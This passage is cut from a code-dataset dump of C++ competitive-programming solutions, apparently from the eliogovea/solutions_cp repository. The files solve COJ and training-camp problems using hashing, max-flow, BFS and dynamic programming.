"content_id": "c443175e4b88ad1008198e22293937f5a6a80c0b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 795, "license_type": "no_license", "max_line_length": 40, "num_lines": 45, "path": "/Caribbean-Training-Camp-2017/Contest_2/Solutions/A2.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\ntypedef struct node;\ntypedef long long ll;\nconst int maxn = 200100;\nstruct node{\n node *son;\n int val;\n\n node(){\n son =NULL;\n val = 0;\n }\n};\nnode* s[maxn+10];\n\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n // freopen( \"dat.txt\", \"r\", stdin );\n\n int n;\n cin >> n;\n s[0] = new node();\n for( int i = 1, t, m; i <= n; i++ ){\n cin >> t >> m;\n s[i] = s[t];\n if( m == 0 ){\n s[i] = s[t]->son;\n }\n else{\n node* tmp = new node();\n tmp->son = s[i];\n tmp->val = s[i]->val + m;\n s[i] = tmp;\n }\n }\n ll ans = 0;\n for( int i = 1; i <= n; i++ ){\n ans += s[i]->val;\n }\n cout << ans << '\\n';\n}\n" }, { "alpha_fraction": 0.42006802558898926, "alphanum_fraction": 0.44897958636283875, "avg_line_length": 16.967741012573242, "blob_id": "2958653514b30e03e8bd9635c115e33eeb4a4dca", "content_id": "1b90254a790286a191394859e0039ac00b6eaae3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1176, "license_type": "no_license", "max_line_length": 59, "num_lines": 62, "path": "/COJ/eliogovea-cojAC/eliogovea-p3155-Accepted-s785135.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef unsigned long long ull;\r\n\r\nconst int N = 20000;\r\n\r\nint n, k, a[N + 5];\r\nvector<int> b;\r\n\r\nconst ull B = 20011;\r\nconst ull C = 20021;\r\n\r\null hash[N + 5];\r\null POW[N + 5];\r\n\r\nmap<ull, int> M;\r\nmap<ull, int>::iterator it;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(false);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n >> k;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> a[i];\r\n\t\tb.push_back(a[i]);\r\n\t}\r\n\tsort(b.begin(), b.end());\r\n\tb.erase(unique(b.begin(), b.end()), b.end());\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\ta[i] = upper_bound(b.begin(), b.end(), a[i]) - b.begin();\r\n\t}\r\n\thash[0] = C;\r\n\tPOW[0] = 1;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\thash[i] = hash[i - 1] * B + a[i - 1];\r\n\t\tPOW[i] = POW[i - 1] * B;\r\n\t}\r\n\tint lo = 1, hi = n + 1 - k;\r\n\tint ans = 0;\r\n\twhile (lo <= hi) {\r\n\t\tint mid = (lo + hi) >> 1;\r\n\t\tbool ok = false;\r\n\t\tfor (int i = 0; i + mid <= n; i++) {\r\n\t\t\tull tmp = hash[i + mid] - hash[i] * POW[mid];\r\n\t\t\tint v = ++M[tmp];\r\n\t\t\tif (v >= k) {\r\n\t\t\t\tok = true;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (ok) {\r\n\t\t\tans = mid;\r\n\t\t\tlo = mid + 1;\r\n\t\t} else {\r\n\t\t\thi = mid - 1;\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.43383583426475525, "alphanum_fraction": 0.45505303144454956, "avg_line_length": 18.586206436157227, "blob_id": "bf80e75465836e1eb238bf4a28bebd54fbb20f41", "content_id": "935881e12ed514a13171d07b89e679110782ab21", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1791, "license_type": "no_license", "max_line_length": 75, "num_lines": 87, "path": "/COJ/eliogovea-cojAC/eliogovea-p2065-Accepted-s655444.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "/// COJ - 2065 - Invasion\r\n\r\n#include <iostream>\r\n#include <fstream>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 5005, MAXM = 70005, inf = 1 << 29;\r\n\r\nint n, m;\r\nint ady[MAXM], cap[MAXM], flow[MAXM], next[MAXM], last[MAXN], now[MAXN], E;\r\nint lev[MAXN], Q[MAXM], qh, qt;\r\nint source, sink;\r\n\r\ninline void addEdge(int a, int b, int c) {\r\n\tady[E] = b; cap[E] = c; flow[E] = 0; next[E] = last[a]; last[a] = E++;\r\n\tady[E] = a; cap[E] = c; flow[E] = 0; next[E] = last[b]; last[b] = E++;\r\n}\r\n\r\nbool bfs() {\r\n\tfor (int i = 1; i <= n; i++)\r\n\t\tlev[i] = 0;\r\n\tlev[source] = 1;\r\n\tqh = qt = 0;\r\n\tQ[qh++] = source;\r\n\twhile (qh > qt) {\r\n\t\tint u = Q[qt++];\r\n\t\tfor (int e = last[u]; e != -1; e = next[e])\r\n\t\t\tif (cap[e] > flow[e] && !lev[ady[e]]) {\r\n\t\t\t\tlev[ady[e]] = lev[u] + 1;\r\n\t\t\t\tif (ady[e] == sink) return true;\r\n\t\t\t\tQ[qh++] = ady[e];\r\n\t\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nint dfs(int u, int cur) {\r\n\tif (u == sink) return cur;\r\n\tfor (int e = now[u]; e != -1; e = now[u] = next[e])\r\n\t\tif (cap[e] > flow[e] && lev[ady[e]] == lev[u] + 1) {\r\n\t\t\tint r = dfs(ady[e], min(cur, cap[e] - flow[e]));\r\n\t\t\tif (r > 0) {\r\n\t\t\t\tflow[e] += r;\r\n\t\t\t\tflow[e ^ 1] -= r;\r\n\t\t\t\treturn r;\r\n\t\t\t}\r\n\t\t}\r\n\treturn 0;\r\n}\r\n\r\nint maxFlow() {\r\n\tint f, tot = 0;\r\n\twhile (bfs()) {\r\n\t\tfor (int i = 1; i <= n; i++)\r\n\t\t\tnow[i] = last[i];\r\n\t\twhile (f = dfs(source, inf)) tot += f;\r\n\t}\r\n\treturn tot;\r\n}\r\n\r\nint a, b, x;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\r\n\tcin >> n >> m;\r\n\r\n\tfor (int i = 1; i <= n; i++) last[i] = -1;\r\n\r\n\tsource = 1;\r\n\tsink = n;\r\n\r\n\tfor (int i = 0, a, b, c; i < m; i++) {\r\n\t\tcin >> a >> b >> c;\r\n\t\taddEdge(a, b, c);\r\n\t}\r\n\r\n\tcout << maxFlow() << \" \";\r\n\tfor (int i = 0; i < E; i++) {\r\n\t\tif (cap[i] == flow[i]) cap[i] = 1;\r\n\t\telse cap[i] = inf;\r\n\t\tflow[i] = 0;\r\n\t}\r\n\tcout << maxFlow() << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3682864308357239, "alphanum_fraction": 0.42455244064331055, "avg_line_length": 16.619047164916992, "blob_id": "505e9e7eb9e248e672a208ebb945bdac44932fb0", "content_id": "3c7516faf2723a367242576e493c26af74d42be0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 391, "license_type": "no_license", "max_line_length": 57, "num_lines": 21, "path": "/COJ/eliogovea-cojAC/eliogovea-p3133-Accepted-s761146.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nint n, k, l[300005];\r\nlong long cnt[22][300005], ans;\r\nstring s;\r\n\r\nint main() {\r\n\tcin >> n >> k;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcin >> s;\r\n\t\tl[i] = s.size();\r\n\t\tfor (int j = 2; j <= 20; j++) {\r\n\t\t\tcnt[j][i] = cnt[j][i - 1];\r\n\t\t}\r\n\t\tcnt[l[i]][i]++;\r\n\t\tans += cnt[l[i]][i - 1] - cnt[l[i]][max(i - k - 1, 0)];\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.43853819370269775, "alphanum_fraction": 0.47342193126678467, "avg_line_length": 14.324324607849121, "blob_id": "80a4f578b347352911875fe818e6bb7b815191d9", "content_id": "5fd24305720f47c95308a8c2d60bd4d794a7ce18", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 602, "license_type": "no_license", "max_line_length": 40, "num_lines": 37, "path": "/COJ/eliogovea-cojAC/eliogovea-p2836-Accepted-s620997.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cstdio>\r\n#include <algorithm>\r\n#include <vector>\r\n\r\nusing namespace std;\r\n\r\n#define sf scanf\r\n#define pf printf\r\n#define MAXN 1000100\r\n//#define ll long long\r\n\r\n\r\ntypedef unsigned long long ll;\r\nconst ll mod = 1000000007;\r\n\r\nll exp(ll x, ll n) {\r\n ll r = 1ll;\r\n x %= mod;\r\n while (n) {\r\n if (n & 1ll) r = (r * x) % mod;\r\n x = (x * x) % mod;\r\n n >>= 1ll;\r\n }\r\n return r;\r\n}\r\n\r\nll tc, n, k;\r\n\r\nint main() {\r\n cin >> tc;\r\n while (tc--) {\r\n cin >> n >> k;\r\n k %= mod;\r\n cout << exp(k + 1ll, n) << endl;\r\n }\r\n}" }, { "alpha_fraction": 0.3511904776096344, "alphanum_fraction": 0.3541666567325592, "avg_line_length": 13.272727012634277, "blob_id": "e11fa7e706380ec0ab519a41c353d6efc6147737", "content_id": "1531cc9a683548e5c3f12f114968f81851a42c57", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 336, "license_type": "no_license", "max_line_length": 28, "num_lines": 22, "path": "/COJ/eliogovea-cojAC/eliogovea-p1326-Accepted-s500142.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nchar c;\r\nint cas,ta,x,in;\r\n\r\nint main()\r\n{\r\n cin >> cas;\r\n while(cas--)\r\n {\r\n cin >> in >> ta;\r\n while(ta--)\r\n {\r\n cin >> c >> x;\r\n if(c=='C')in+=x;\r\n else in-=x;\r\n }\r\n cout << in << endl;\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.2940421998500824, "alphanum_fraction": 0.31200113892555237, "avg_line_length": 16.03598976135254, "blob_id": "1497e6b5494234d38247013e1cc3e35788cf619d", "content_id": "e159c709a7280bce5459f0dd6d815a68881475e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 7016, "license_type": "no_license", "max_line_length": 69, "num_lines": 389, "path": "/COJ/eliogovea-cojAC/eliogovea-p4093-Accepted-s1294966.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1005;\r\n\r\nint n, m;\r\nstring t[N];\r\n\r\nbool visited[N][N][5];\r\nchar mov[N][N][5];\r\nint px[N][N][5];\r\nint py[N][N][5];\r\nint pz[N][N][5];\r\n\r\nint Q[N * N * 10 + 10];\r\nint qh, qt;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcin >> n >> m;\r\n\r\n\tfor (int x = 0; x < n; x++) {\r\n\t\tcin >> t[x];\r\n\t}\r\n\r\n\tint sx = -1, sy = -1, ex = -1, ey = -1;\r\n\r\n\tfor (int x = 0; x < n; x++) {\r\n\t\tfor (int y = 0; y < m; y++) {\r\n\t\t\tif (t[x][y] == 'C') {\r\n\t\t\t\tsx = x;\r\n\t\t\t\tsy = y;\r\n\t\t\t}\r\n\t\t\tif (t[x][y] == 'E') {\r\n\t\t\t\tex = x;\r\n\t\t\t\tey = y;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tif (sx == -1 || sy == -1 || ex == -1 || ey == -1) {\r\n\t\t// assert(false);\r\n\t\tcout << \"-1\\n\";\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tint qh = 0;\r\n\tint qt = 0;\r\n\r\n\tvisited[sx][sy][0] = true;\r\n\r\n\tQ[qt++] = sx;\r\n\tQ[qt++] = sy;\r\n\tQ[qt++] = 0;\r\n\r\n\twhile (qh < qt) {\r\n\t\tint x = Q[qh++];\r\n\t\tint y = Q[qh++];\r\n\t\tint z = Q[qh++];\r\n\r\n\t\tassert(visited[x][y][z]);\r\n\r\n\t\t// cerr << x << \" \" << y << \" \" << z << \"\\n\";\r\n\r\n\t\tif (z == 0) {\r\n\t\t\tif (!(0 <= x && x < n && 0 <= y && y < m)) {\r\n\t\t\t\t// assert(false);\r\n\t\t\t\tcout << \"!\\n\";\r\n\t\t\t\treturn 0;\r\n\t\t\t}\r\n\t\t} else if (z == 1) {\r\n\t\t\tif (!(0 <= x && x + 1 < n && 0 <= y && y < m)) {\r\n\t\t\t\t// assert(false);\r\n\t\t\t\tcout << \"!\\n\";\r\n\t\t\t\treturn 0;\r\n\t\t\t}\r\n\t\t} else if (z == 2) {\r\n\t\t\tif (!(0 <= x && x < n && 0 <= y && y + 1 < m)) {\r\n\t\t\t\t// assert(false);\r\n\t\t\t\tcout << \"!\\n\";\r\n\t\t\t\treturn 0;\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\t// assert(false);\r\n\t\t\tcout << \"!\\n\";\r\n\t\t\treturn 0;\r\n\t\t}\r\n\r\n\t\tif (z == 0) { // 1x1\r\n\t\t\t{ // up\r\n\t\t\t\tif (x - 2 >= 0 && t[x - 1][y] != '#' && t[x - 2][y] != '#') {\r\n\t\t\t\t\tint nx = x - 2;\r\n\t\t\t\t\tint ny = y;\r\n\t\t\t\t\tint nz = 1;\r\n\r\n\t\t\t\t\tif (!visited[nx][ny][nz]) {\r\n\t\t\t\t\t\tmov[nx][ny][nz] = 'U';\r\n\r\n\t\t\t\t\t\tvisited[nx][ny][nz] = true;\r\n\r\n\t\t\t\t\t\tpx[nx][ny][nz] = x;\r\n\t\t\t\t\t\tpy[nx][ny][nz] = y;\r\n\t\t\t\t\t\tpz[nx][ny][nz] = z;\r\n\r\n\t\t\t\t\t\tQ[qt++] = nx;\r\n\t\t\t\t\t\tQ[qt++] = ny;\r\n\t\t\t\t\t\tQ[qt++] = nz;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t{ // down\r\n\t\t\t\tif (x + 2 < n && t[x + 1][y] != '#' && t[x + 2][y] != '#') {\r\n\t\t\t\t\tint nx = x + 1;\r\n\t\t\t\t\tint ny = y;\r\n\t\t\t\t\tint nz = 1;\r\n\r\n\t\t\t\t\tif (!visited[nx][ny][nz]) {\r\n\t\t\t\t\t\tmov[nx][ny][nz] = 'D';\r\n\r\n\t\t\t\t\t\tvisited[nx][ny][nz] = true;\r\n\r\n\t\t\t\t\t\tpx[nx][ny][nz] = x;\r\n\t\t\t\t\t\tpy[nx][ny][nz] = y;\r\n\t\t\t\t\t\tpz[nx][ny][nz] = z;\r\n\r\n\t\t\t\t\t\tQ[qt++] = nx;\r\n\t\t\t\t\t\tQ[qt++] = ny;\r\n\t\t\t\t\t\tQ[qt++] = nz;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t\t{ // left\r\n\t\t\t\tif (y - 2 >= 0 && t[x][y - 1] != '#' && t[x][y - 2] != '#') {\r\n\t\t\t\t\tint nx = x;\r\n\t\t\t\t\tint ny = y - 2;\r\n\t\t\t\t\tint nz = 2;\r\n\t\t\t\t\t\r\n\t\t\t\t\tif (!visited[nx][ny][nz]) {\r\n\t\t\t\t\t\tmov[nx][ny][nz] = 'L';\r\n\r\n\t\t\t\t\t\tvisited[nx][ny][nz] = true;\r\n\r\n\t\t\t\t\t\tpx[nx][ny][nz] = x;\r\n\t\t\t\t\t\tpy[nx][ny][nz] = y;\r\n\t\t\t\t\t\tpz[nx][ny][nz] = z;\r\n\r\n\t\t\t\t\t\tQ[qt++] = nx;\r\n\t\t\t\t\t\tQ[qt++] = ny;\r\n\t\t\t\t\t\tQ[qt++] = nz;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t{ // right\r\n\t\t\t\tif (y + 2 < m && t[x][y + 1] != '#' && t[x][y + 2] != '#') {\r\n\t\t\t\t\tint nx = x;\r\n\t\t\t\t\tint ny = y + 1;\r\n\t\t\t\t\tint nz = 2;\r\n\r\n\t\t\t\t\tif (!visited[nx][ny][nz]) {\r\n\t\t\t\t\t\tmov[nx][ny][nz] = 'R';\r\n\r\n\t\t\t\t\t\tvisited[nx][ny][nz] = true;\r\n\r\n\t\t\t\t\t\tpx[nx][ny][nz] = x;\r\n\t\t\t\t\t\tpy[nx][ny][nz] = y;\r\n\t\t\t\t\t\tpz[nx][ny][nz] = z;\r\n\r\n\t\t\t\t\t\tQ[qt++] = nx;\r\n\t\t\t\t\t\tQ[qt++] = ny;\r\n\t\t\t\t\t\tQ[qt++] = nz;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t} else if (z == 1) { // 2x1\r\n\t\t\t{ // up\r\n\t\t\t\tif (x - 1 >= 0 && t[x - 1][y] != '#') {\r\n\t\t\t\t\tint nx = x - 1;\r\n\t\t\t\t\tint ny = y;\r\n\t\t\t\t\tint nz = 0;\r\n\r\n\t\t\t\t\tif (!visited[nx][ny][nz]) {\r\n\t\t\t\t\t\tmov[nx][ny][nz] = 'U';\r\n\r\n\t\t\t\t\t\tvisited[nx][ny][nz] = true;\r\n\r\n\t\t\t\t\t\tpx[nx][ny][nz] = x;\r\n\t\t\t\t\t\tpy[nx][ny][nz] = y;\r\n\t\t\t\t\t\tpz[nx][ny][nz] = z;\r\n\r\n\t\t\t\t\t\tQ[qt++] = nx;\r\n\t\t\t\t\t\tQ[qt++] = ny;\r\n\t\t\t\t\t\tQ[qt++] = nz;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t{ // down\r\n\t\t\t\tif (x + 2 < n && t[x + 2][y] != '#') {\r\n\t\t\t\t\tint nx = x + 2;\r\n\t\t\t\t\tint ny = y;\r\n\t\t\t\t\tint nz = 0;\r\n\t\t\t\t\t\r\n\t\t\t\t\tif (!visited[nx][ny][nz]) {\r\n\t\t\t\t\t\tmov[nx][ny][nz] = 'D';\r\n\r\n\t\t\t\t\t\tvisited[nx][ny][nz] = true;\r\n\r\n\t\t\t\t\t\tpx[nx][ny][nz] = x;\r\n\t\t\t\t\t\tpy[nx][ny][nz] = y;\r\n\t\t\t\t\t\tpz[nx][ny][nz] = z;\r\n\r\n\t\t\t\t\t\tQ[qt++] = nx;\r\n\t\t\t\t\t\tQ[qt++] = ny;\r\n\t\t\t\t\t\tQ[qt++] = nz;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t{ // left\r\n\t\t\t\tif (y - 1 >= 0 && t[x][y - 1] != '#' && t[x + 1][y - 1] != '#') {\r\n\t\t\t\t\tint nx = x;\r\n\t\t\t\t\tint ny = y - 1;\r\n\t\t\t\t\tint nz = 1;\r\n\r\n\t\t\t\t\tif (!visited[nx][ny][nz]) {\r\n\t\t\t\t\t\tmov[nx][ny][nz] = 'L';\r\n\r\n\t\t\t\t\t\tvisited[nx][ny][nz] = true;\r\n\r\n\t\t\t\t\t\tpx[nx][ny][nz] = x;\r\n\t\t\t\t\t\tpy[nx][ny][nz] = y;\r\n\t\t\t\t\t\tpz[nx][ny][nz] = z;\r\n\r\n\t\t\t\t\t\tQ[qt++] = nx;\r\n\t\t\t\t\t\tQ[qt++] = ny;\r\n\t\t\t\t\t\tQ[qt++] = nz;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t{ // right\r\n\t\t\t\tif (y + 1 < m && t[x][y + 1] != '#' && t[x + 1][y + 1] != '#') {\r\n\t\t\t\t\tint nx = x;\r\n\t\t\t\t\tint ny = y + 1;\r\n\t\t\t\t\tint nz = 1;\r\n\r\n\t\t\t\t\tif (!visited[nx][ny][nz]) {\r\n\t\t\t\t\t\tmov[nx][ny][nz] = 'R';\r\n\r\n\t\t\t\t\t\tvisited[nx][ny][nz] = true;\r\n\r\n\t\t\t\t\t\tpx[nx][ny][nz] = x;\r\n\t\t\t\t\t\tpy[nx][ny][nz] = y;\r\n\t\t\t\t\t\tpz[nx][ny][nz] = z;\r\n\r\n\t\t\t\t\t\tQ[qt++] = nx;\r\n\t\t\t\t\t\tQ[qt++] = ny;\r\n\t\t\t\t\t\tQ[qt++] = nz;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t} else if (z == 2) {\r\n\t\t\t{ // up\r\n\t\t\t\tif (x - 1 >= 0 && t[x - 1][y] != '#' && t[x - 1][y + 1] != '#') {\r\n\t\t\t\t\tint nx = x - 1;\r\n\t\t\t\t\tint ny = y;\r\n\t\t\t\t\tint nz = 2;\r\n\r\n\t\t\t\t\tif (!visited[nx][ny][nz]) {\r\n\t\t\t\t\t\tmov[nx][ny][nz] = 'U';\r\n\r\n\t\t\t\t\t\tvisited[nx][ny][nz] = true;\r\n\r\n\t\t\t\t\t\tpx[nx][ny][nz] = x;\r\n\t\t\t\t\t\tpy[nx][ny][nz] = y;\r\n\t\t\t\t\t\tpz[nx][ny][nz] = z;\r\n\r\n\t\t\t\t\t\tQ[qt++] = nx;\r\n\t\t\t\t\t\tQ[qt++] = ny;\r\n\t\t\t\t\t\tQ[qt++] = nz;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t{ // down\r\n\t\t\t\tif (x + 1 < n && t[x + 1][y] != '#' && t[x + 1][y + 1] != '#') {\r\n\t\t\t\t\tint nx = x + 1;\r\n\t\t\t\t\tint ny = y;\r\n\t\t\t\t\tint nz = 2;\r\n\r\n\r\n\t\t\t\t\tif (!visited[nx][ny][nz]) {\r\n\t\t\t\t\t\tmov[nx][ny][nz] = 'D';\r\n\r\n\t\t\t\t\t\tvisited[nx][ny][nz] = true;\r\n\r\n\t\t\t\t\t\tpx[nx][ny][nz] = x;\r\n\t\t\t\t\t\tpy[nx][ny][nz] = y;\r\n\t\t\t\t\t\tpz[nx][ny][nz] = z;\r\n\r\n\t\t\t\t\t\tQ[qt++] = nx;\r\n\t\t\t\t\t\tQ[qt++] = ny;\r\n\t\t\t\t\t\tQ[qt++] = nz;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t{ // left\r\n\t\t\t\tif (y - 1 >= 0 && t[x][y - 1] != '#') {\r\n\t\t\t\t\tint nx = x;\r\n\t\t\t\t\tint ny = y - 1;\r\n\t\t\t\t\tint nz = 0;\r\n\r\n\t\t\t\t\tif (!visited[nx][ny][nz]) {\r\n\t\t\t\t\t\tmov[nx][ny][nz] = 'L';\r\n\r\n\t\t\t\t\t\tvisited[nx][ny][nz] = true;\r\n\r\n\t\t\t\t\t\tpx[nx][ny][nz] = x;\r\n\t\t\t\t\t\tpy[nx][ny][nz] = y;\r\n\t\t\t\t\t\tpz[nx][ny][nz] = z;\r\n\r\n\t\t\t\t\t\tQ[qt++] = nx;\r\n\t\t\t\t\t\tQ[qt++] = ny;\r\n\t\t\t\t\t\tQ[qt++] = nz;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t{ // right\r\n\t\t\t\tif (y + 2 < m && t[x][y + 2] != '#') {\r\n\t\t\t\t\tint nx = x;\r\n\t\t\t\t\tint ny = y + 2;\r\n\t\t\t\t\tint nz = 0;\r\n\r\n\t\t\t\t\tif (!visited[nx][ny][nz]) {\r\n\t\t\t\t\t\tmov[nx][ny][nz] = 'R';\r\n\r\n\t\t\t\t\t\tvisited[nx][ny][nz] = true;\r\n\r\n\t\t\t\t\t\tpx[nx][ny][nz] = x;\r\n\t\t\t\t\t\tpy[nx][ny][nz] = y;\r\n\t\t\t\t\t\tpz[nx][ny][nz] = z;\r\n\r\n\t\t\t\t\t\tQ[qt++] = nx;\r\n\t\t\t\t\t\tQ[qt++] = ny;\r\n\t\t\t\t\t\tQ[qt++] = nz;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tif (!visited[ex][ey][0]) {\r\n\t\tcout << \"-1\\n\";\r\n\t} else {\r\n\t\tint x = ex;\r\n\t\tint y = ey;\r\n\t\tint z = 0;\r\n\r\n\t\tstring answer;\r\n\r\n\t\tint steps = 0;\r\n\r\n\t\twhile (x != sx || y != sy || z != 0) {\r\n\t\t\tif (!visited[x][y][z]) {\r\n\t\t\t\t// assert(false);\r\n\t\t\t\tcout << \"-1\\n\";\r\n\t\t\t\treturn 0;\r\n\t\t\t} //////\r\n\t\t\tanswer += mov[x][y][z];\r\n\t\t\tint nx = px[x][y][z];\r\n\t\t\tint ny = py[x][y][z];\r\n\t\t\tint nz = pz[x][y][z];\r\n\t\t\tx = nx;\r\n\t\t\ty = ny;\r\n\t\t\tz = nz;\r\n\t\t}\r\n\r\n\t\treverse(answer.begin(), answer.end());\r\n\r\n\t\tcout << answer.size() << \"\\n\";\r\n\t\tcout << answer << \"\\n\";\r\n\t}\r\n\r\n}\r\n" }, { "alpha_fraction": 0.3710021376609802, "alphanum_fraction": 0.41471216082572937, "avg_line_length": 23.351350784301758, "blob_id": "a9ff7ae9b693b794059f6caf9a8dda053ec0a8a6", "content_id": "b8c678b0dd438865911dad9010a27efa46351f49", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 938, "license_type": "no_license", "max_line_length": 77, "num_lines": 37, "path": "/COJ/eliogovea-cojAC/eliogovea-p2894-Accepted-s651410.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nconst int MAXN = 1005, MAXK = 205;\r\n\r\nint n, k, a[MAXN][MAXN], dp[MAXK][MAXN], sol;\r\n/// dp[i][j] guardo la mejor solucion tal que hay i gondolas\r\n/// y termina en la posicion j\r\n\r\ninline int get(int i1, int j1, int i2, int j2) {\r\n\treturn (a[i2][j2] - a[i2][j1 - 1] - a[i1 - 1][j2] + a[i1 - 1][j1 - 1]) >> 1;\r\n}\r\n\r\nint main() {\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tscanf(\"%d%d\", &n, &k);\r\n\tfor (int i = 1; i <= n; i++)\r\n\t\tfor (int j = 1; j <= n; j++) {\r\n\t\t\tscanf(\"%d\", &a[i][j]);\r\n\t\t\ta[i][j] += a[i][j - 1] + a[i - 1][j] - a[i - 1][j - 1];\r\n\t\t}\r\n\r\n\tfor (int i = 1; i <= n; i++)\r\n\t\tdp[1][i] = get(1, 1, i, i);\r\n\tsol = dp[1][n];\r\n\tfor (int i = 2, x, y; i <= k; i++) {\r\n\t\tfor (int j = i; j <= n; j++) {\r\n\t\t\tx = 1 << 29;\r\n\t\t\tfor (int k = i; k <= j; k++) {\r\n\t\t\t\ty = dp[i - 1][k - 1] + get(k, k, j, j);\r\n\t\t\t\tif (y < x) x = y;\r\n\t\t\t}\r\n\t\t\tdp[i][j] = x;\r\n\t\t}\r\n\t\tif (sol > dp[i][n]) sol = dp[i][n];\r\n\t}\r\n\tprintf(\"%d\\n\", sol);\r\n}\r\n" }, { "alpha_fraction": 0.38787877559661865, "alphanum_fraction": 0.41818180680274963, "avg_line_length": 16.33333396911621, "blob_id": "cb7821cbe1c9ff2545d148900c0fec3d743da641", "content_id": "fd7833353b8ca89dec5261e62e7878e8528ae07e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 330, "license_type": "no_license", "max_line_length": 48, "num_lines": 18, "path": "/COJ/eliogovea-cojAC/eliogovea-p2776-Accepted-s608803.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\nconst int MAXN = 1000010;\r\n\r\nint n, q, x, ind, nota[MAXN];\r\n\r\nint main() {\r\n\tscanf(\"%d%d\", &n, &q);\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tscanf(\"%d\", &x);\r\n\t\tfor (int j = 0; j < x; j++) nota[ind + j] = i;\r\n\t\tind += x;\r\n\t}\r\n\tfor (int i = 1; i <= q; i++) {\r\n\t\tscanf(\"%d\", &x);\r\n\t\tprintf(\"%d\\n\", nota[x]);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4701492488384247, "alphanum_fraction": 0.4776119291782379, "avg_line_length": 12.88888931274414, "blob_id": "a64a9e0d8750ee2ab24c478a0dcdfea82ae960d0", "content_id": "5f974a2b35b9172d3a2b4c3bb496501a4083efab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 402, "license_type": "no_license", "max_line_length": 34, "num_lines": 27, "path": "/COJ/eliogovea-cojAC/eliogovea-p3231-Accepted-s784886.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n;\r\nstring s;\r\n\r\nset<string> S;\r\nset<string>::iterator it;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n;\r\n\tn = 2 * n - 1;\r\n\twhile (n--) {\r\n\t\tcin >> s;\r\n\t\tit = 